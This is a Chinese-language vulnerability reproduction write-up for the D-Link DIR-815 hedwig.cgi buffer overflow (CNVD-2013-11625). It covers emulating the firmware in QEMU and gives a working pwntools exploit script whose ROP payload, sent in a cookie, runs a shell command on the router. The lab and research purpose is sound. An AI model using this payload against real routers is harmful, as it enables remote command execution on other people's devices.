D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

admin 2023年7月24日14:03:04评论19 views字数 4137阅读13分47秒阅读模式
 
漏洞简述
2013年,D-Link DIR-645无线路由器被爆出存在缓冲区溢出漏洞,远程攻击者通过向该无线路由器的"post_login.xml"、"hedwig.cgi"、"authentication.cgi"等接口接口提交特制请求即可触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击,漏洞编号为CNVD-2013-11625。后经安全研究员分析发现,该漏洞同时影响D-LINK的DIR-815/300/600/645型号路由器设备。
固件模拟

本文基于D-LINK DIR-815路由器的存在漏洞版本的固件进行相关分析

首先下载路由器固件文件

https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1000487&fileName=DIR-815A1_FW101SSB03.bin&fileSize=3784844.0

首先使用binwalk解压固件

binwalk -Me DIR-815A1_FW101SSB03.bin --run-as=root
D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

解压后在/squashfs-root得到固件的文件系统

D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

接下来使用qemu-system-mipsel系统模拟,模拟前需要先下载mips架构的内核镜像和文件系统

https://people.debian.org/~aurel32/qemu/mipsel/
D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

下载完成后执行下面的命令进行模拟

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

输入root/root即可进入qemu模拟系统

接下来需要在宿主机进行网卡配置

若没有安装依赖需要先执行如下命令安装依赖库

sudo apt-get install bridge-utils uml-utilities

然后依次执行下面的命令配置网卡

sudo sysctl -w net.ipv4.ip_forward=1sudo iptables -Fsudo iptables -Xsudo iptables -t nat -Fsudo iptables -t nat -Xsudo iptables -t mangle -Fsudo iptables -t mangle -Xsudo iptables -P INPUT ACCEPTsudo iptables -P FORWARD ACCEPTsudo iptables -P OUTPUT ACCEPTsudo iptables -t nat -A POSTROUTING -o ens32 -j MASQUERADEsudo iptables -I FORWARD 1 -i tap0 -j ACCEPTsudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPTsudo ifconfig tap0 172.16.20.254 netmask 255.255.255.0
D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

此时通过ifconfig命令即可看到配置好的tap0网卡

D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

接下来进入到qemu虚拟机中进行网络配置

依次执行下面的命令

ifconfig eth0 172.16.20.2 netmask 255.255.255.0route add default gw 172.16.20.254ifconfig
D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

可以看到qemu虚拟机的eth0网卡ip地址已经配置为172.16.20.2

此时若上述配置没有问题,宿主机和qemu虚拟机之间已经可以相互连通

D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

通过下面的命令从宿主机将解压固件后的得到的文件系统传到qemu虚拟机上

scp -r squashfs-root/ [email protected]:/root
D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

传输完成后,进入到qemu虚拟机的squashfs-root/目录,新建一个http_conf文件,该文件是http服务的配置文件

文件内容如下

Umask 026PIDFile /var/run/httpd.pidLogGMT On  #开启logErrorLog /log #log文件Tuning{    NumConnections 15    BufSize 12288    InputBufSize 4096    ScriptBufSize 4096    NumHeaders 100    Timeout 60    ScriptTimeout 60}Control{    Types    {        text/html    { html htm }        text/xml    { xml }        text/plain    { txt }        image/gif    { gif }        image/jpeg    { jpg }        text/css    { css }        application/octet-stream { * }    }    Specials    {        Dump        { /dump }        CGI            { cgi }        Imagemap    { map }        Redirect    { url }    }    External    {        /usr/sbin/phpcgi { php }    }}Server{    ServerName "Linux, HTTP/1.1, "    ServerId "1234"    Family inet    Interface eth0         #网卡    Address 172.16.20.2  #qemu的ip地址    Port "4321"            #对应web访问端口    Virtual    {        AnyHost        Control        {            Alias /            Location /htdocs/web            IndexNames { index.php }            External            {                /usr/sbin/phpcgi { router_info.xml }                /usr/sbin/phpcgi { post_login.xml }            }        }        Control        {            Alias /HNAP1            Location /htdocs/HNAP1            External            {                /usr/sbin/hnap { hnap }            }            IndexNames { index.hnap }        }    }}
D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

然后在qemu虚拟机的squashfs-root/下编写一个init.sh脚本,通过这个脚本进行初始化并启动路由器h固件http服务

init.sh脚本内容如下

#!/bin/bashecho 0 > /proc/sys/kernel/randomize_va_spacecp http_conf /cp sbin/httpd /cp -rf htdocs/ /mkdir /etc_bakcp -r /etc /etc_bakrm /etc/servicescp -rf etc/ /cp lib/ld-uClibc-0.9.30.1.so  /lib/cp lib/libcrypt-0.9.30.1.so  /lib/cp lib/libc.so.0  /lib/cp lib/libgcc_s.so.1  /lib/cp lib/ld-uClibc.so.0  /lib/cp lib/libcrypt.so.0  /lib/cp lib/libgcc_s.so  /lib/cp lib/libuClibc-0.9.30.1.so  /lib/cd /rm -rf /htdocs/web/hedwig.cgirm -rf /usr/sbin/phpcgirm -rf /usr/sbin/hnapln -s /htdocs/cgibin /htdocs/web/hedwig.cgiln -s /htdocs/cgibin /usr/sbin/phpcgiln -s  /htdocs/cgibin /usr/sbin/hnap./httpd -f http_conf

通过浏览器访问

http://172.16.20.2:4321/hedwig.cgi

可以看到成功启动了http服务

D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现
漏洞复现

打开burpsuite,抓取浏览器访问http://172.16.20.2:4321/hedwig.cgi的请求包

由于直接浏览器访问提示不支持GET请求方法,所以将请求方法改为POST

会返回411错误,根据报错应该是缺少Length字段

D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

在请求头中加入Content-Length字段后再次请求,返回200,提示“no xml data”

D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

创建一个exp.py脚本,脚本内容如下,该脚本的功能是利用漏洞执行“touch /tmp/havebeenpwn”命令

from pwn import *import requestscontext(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'touch /tmp/havebeenpwn' libc_base = 0x77f34000 payload = b'a'*0x3cdpayload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)payload += b'a'*(4*7)payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)payload += b'a'*0x18payload += cmd url = "http://172.16.20.2:4321/hedwig.cgi"data = {"winmt" : "pwner"}headers = {    "Cookie"        : b"uid=" + payload,    "Content-Type"  : "application/x-www-form-urlencoded",    "Content-Length": "11"}res = requests.post(url = url, headers = headers, data = data)print(res)
D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

在宿主机执行python exp.py

可以看到qemu虚拟机的/tmp目录下成功创建了一个名为havebeenpwn的文件

D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

美创科技旗下第59号实验室,专注于数据安全技术领域研究,聚焦于安全防御理念、攻防技术、威胁情报等专业研究,进行知识产权转化并赋能于产品。累计向CNVD、CNNVD等平台提报数百个高质量原创漏洞,发明专利数十篇,团队著有《数据安全实践指南》

原文始发于微信公众号(b1gpig信息安全):D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月24日14:03:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现https://cn-sec.com/archives/1899323.html

发表评论

匿名网友 填写信息